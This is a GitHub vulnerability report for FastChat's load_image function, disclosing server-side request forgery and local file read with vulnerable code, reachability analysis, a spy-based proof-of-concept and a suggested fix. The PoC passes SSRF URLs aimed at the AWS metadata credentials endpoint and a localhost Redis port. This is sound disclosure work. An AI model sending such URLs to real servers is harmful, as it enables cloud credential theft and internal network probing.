Skip to content

Vulnerability Report: SSRF + Arbitrary Local File Read in fastchat.utils.load_image via unvalidated image URL/path #3873

@JAE0Y2N

Description

@JAE0Y2N

Severity

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L (8.6 High)

CWE-918 (Server-Side Request Forgery), with secondary CWE-22 / CWE-73 (Arbitrary Local File Read via path-based dispatch).

Description

fastchat.utils.load_image(image_file) dispatches on string-prefix/suffix heuristics without scheme allowlist, host validation, private-IP block, or path canonicalization. Three branches yield three independent primitives:

  1. image_file.startswith("http://") or .startswith("https://")requests.get(image_file) → full Server-Side Request Forgery
  2. image_file.lower().endswith(("png","jpg","jpeg","webp","gif"))Image.open(image_file) → arbitrary local image-file read via extension-gated PIL open
  3. image_file.startswith("data:") or fallthrough → base64.b64decode(image_file) (default validate=False) → decoder-oracle

Vulnerable Code

fastchat/utils.py at lm-sys/FastChat main (HEAD-verified 2026-05-17, ~lines 394-412 in current bundle):

def load_image(image_file):
    from PIL import Image
    import requests

    image = None

    if image_file.startswith("http://") or image_file.startswith("https://"):
        timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
        response = requests.get(image_file, timeout=timeout)
        image = Image.open(BytesIO(response.content))
    elif image_file.lower().endswith(("png", "jpg", "jpeg", "webp", "gif")):
        image = Image.open(image_file)
    elif image_file.startswith("data:"):
        image_file = image_file.split(",")[1]
        image = Image.open(BytesIO(base64.b64decode(image_file)))
    else:
        image = Image.open(BytesIO(base64.b64decode(image_file)))
    return image

Reachability

load_image is called from documented public flows:

  • fastchat/conversation.py:441, 454, 614, 624, 643, 657, 467, 481save_new_images(), extract_text_and_image_hashes_from_messages(), to_gemini_api_messages()
  • fastchat/serve/gradio_web_server.py:45 — imports load_image into the public chat-arena Gradio flow
  • fastchat/serve/api_provider.py:104, 114 — Gemini provider routing

Default deployment exposes both flows without authentication:

  • fastchat/serve/openai_api_server.py:100-128 starts with api_keys=None → anonymous API server
  • Gradio chat-arena binds 0.0.0.0 → reachable from any network

A user submitting a message with an attacker-controlled image-URL (or a typed string starting with http://) triggers the SSRF.

Proof of Concept

Standalone Python reproducer; requires only pip install fastchat-llm (or local clone):

import sys, requests
calls = []
orig = requests.get
def spy(url, timeout=None, *a, **k):
    calls.append(url)
    print(f"[+] SSRF fired: {url}  (timeout={timeout})")
    class R: content = b"\x89PNG\r\n\x1a\n" + b"\x00"*100
    return R()
requests.get = spy

from fastchat.utils import load_image

# SSRF → AWS IMDS
try: load_image("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
except Exception: pass

# SSRF → internal Redis / port scan
try: load_image("http://127.0.0.1:6379/")
except Exception: pass

# Arbitrary local file open (extension-gated)
open("/tmp/leak.png","wb").write(b"\x89PNG\r\n\x1a\n" + b"\x00"*100)
try:
    img = load_image("/tmp/leak.png")
    print(f"[+] Local file open: size={getattr(img,'size',None)}")
except Exception as e:
    print(f"[!] PIL parse error after open: {e}")

assert len(calls) == 2, calls
print("[+] PoC OK")

Executed output:

[+] SSRF fired: http://169.254.169.254/latest/meta-data/iam/security-credentials/  (timeout=3)
[+] SSRF fired: http://127.0.0.1:6379/  (timeout=3)
[+] Local file open: size=(1, 1)
[+] PoC OK

Impact

SSRF (primary):

  • AWS IMDS / GCP / Azure cloud metadata exfiltration → IAM credential theft → cloud account compromise
  • Localhost-only admin panel access (Redis, Elasticsearch, Kibana, internal Jenkins)
  • Port scanning via response-timing oracle on the FastChat host's local network

Arbitrary local file read (secondary):

  • Any *.png|jpg|jpeg|webp|gif-suffixed path readable by the server process is opened by PIL
  • Image-parser CVEs become reachable from unauthenticated network input (libwebp CVE-2023-4863, libpng heap CVEs)

Decoder oracle (tertiary):

  • base64.b64decode(..., validate=False) accepts malformed input silently; combined with Image.open(BytesIO(...)) exposes the image parser to bypass-style payloads

Suggested Fix

Add a URL safety check and restrict local-file branch to a configured allowlist directory:

from urllib.parse import urlparse
import ipaddress, socket
from pathlib import Path

ALLOWED_SCHEMES = {"http", "https"}
IMAGE_DIR = Path(os.getenv("FASTCHAT_IMAGE_DIR", "/var/lib/fastchat/images")).resolve()

def _is_safe_url(url: str) -> bool:
    p = urlparse(url)
    if p.scheme not in ALLOWED_SCHEMES: return False
    try:
        for fam, _, _, _, sa in socket.getaddrinfo(p.hostname, None):
            ip = ipaddress.ip_address(sa[0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except socket.gaierror:
        return False
    return True

def _is_safe_local(path: str) -> bool:
    try:
        resolved = (IMAGE_DIR / path).resolve()
        return IMAGE_DIR in resolved.parents or resolved == IMAGE_DIR
    except (OSError, ValueError):
        return False

def load_image(image_file):
    from PIL import Image
    import requests
    if image_file.startswith(("http://", "https://")):
        if not _is_safe_url(image_file):
            raise ValueError("URL targets internal/private address; refused")
        timeout = int(os.getenv("REQUEST_TIMEOUT", "3"))
        response = requests.get(image_file, timeout=timeout)
        return Image.open(BytesIO(response.content))
    if image_file.lower().endswith(("png","jpg","jpeg","webp","gif")):
        if not _is_safe_local(image_file):
            raise ValueError("Local path outside configured image directory; refused")
        return Image.open(image_file)
    if image_file.startswith("data:"):
        image_file = image_file.split(",", 1)[1]
        return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))
    return Image.open(BytesIO(base64.b64decode(image_file, validate=True)))

Recommend additionally:

  • Make api_keys=None an opt-in (require explicit --allow-anonymous flag rather than silent default)
  • Audit sibling sinks: controller.py /register_worker unauthenticated by default; model_adapter.py torch.load without weights_only=True

References

Environment

  • FastChat trunk HEAD as of 2026-05-17; fastchat/utils.py:394-412 unchanged from initial reproduction on 2026-05-13
  • Verified with pip install fastchat-llm and from-source clone
  • PoC reproduces on Linux + macOS

Reporter: Jaeyoung Yun (GitHub: JAE0Y2N)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions